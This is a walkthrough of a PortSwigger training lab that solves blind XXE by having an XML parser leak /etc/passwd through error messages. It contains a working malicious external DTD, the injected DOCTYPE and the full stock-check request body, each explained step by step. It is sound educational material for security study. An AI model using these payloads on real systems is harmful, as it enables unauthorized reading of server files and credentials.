The lab
here is how portswigger describes it
This lab has a "Check stock" feature that parses XML input but does not display the result.
To solve the lab, use an external DTD to trigger an error message that displays the contents of the /etc/passwd file.
The lab contains a link to an exploit server on a different domain where you can host your malicious DTD.
this follows the malicious external dtd lab. there we shipped the file out to burp collaborator over a network request. this time there is no need to send anything anywhere, we get the file back through the app's own error messages, so the output channel is the error text the parser prints when something goes wrong.
The idea#
the previous lab leaned on the parser reaching out over the network. here we use a quieter trick, we deliberately make the parser fail in a way that quotes our file back at us. if we hand the parser a file path that does not exist, it complains, and a lot of parsers are careless enough to print the bad path in the error. so if we build a bad path that has the contents of /etc/passwd stuffed inside it, the error message that comes back will contain those contents. it is still an external dtd because, as in the last lab, the nested parameter entities we need are only legal inside a hosted dtd file, not inside the doctype we put in the request.
Step 1 - Write the malicious dtd#
on the exploit server we save this dtd file.
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
reading what happens when this is imported, the first line declares %file as the contents of /etc/passwd, so %file; now stands for that whole file. the second line declares %eval, whose value is a bit of text that, when run, declares a further entity exfil, and the path inside that exfil is file:///invalid/ with %file; glued onto the end. the % is just an escaped % sign, written that way so the parser does not try to act on it while it is still reading the definition of eval, and it only becomes a live % later when eval is expanded. line three, %eval;, runs eval and so creates exfil with the file contents baked into its path. line four, %exfil;, resolves exfil, which asks the parser to open file:///invalid/ followed by the entire contents of /etc/passwd.
that path is trashh, there is no such file, so the parser throws an error and because the failing path had the file contents embedded in it, the error message it prints reads them back to us. the file we could never see in a normal response comes out inside an error string instead. we save it, click view exploit, and note the url our dtd is served at.

Step 2 - Reference the dtd from the stock check request#
we open a product page, click check stock, and intercept the post request in burp, then insert this doctype between the xml declaration and the stockCheck element.
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "your-dtd-url"> %xxe;]>
as in the last lab this declares a parameter entity xxe pointing at our hosted dtd and %xxe; immediately triggers it, so the parser fetches our file and runs everything in it. the full body looks like this.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "your-dtd-url"> %xxe;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Step 3 - Read the file out of the error#
we send it, and this time the answer is right there in the response. the parser's error message about the invalid file path comes back, and sitting inside that path is the contents of /etc/passwd.

with this, we solved the lab!
to explain the whole thing in a nutshell our small request tells the lab's parser to go fetch our dtd, and inside that dtd we read /etc/passwd into an entity, wedge those contents into a deliberately broken file path, and then force the parser to open that path. the open fails, the parser reports the bad path back in an error, and the file contents ride out inside the error text, no network callback needed at all.
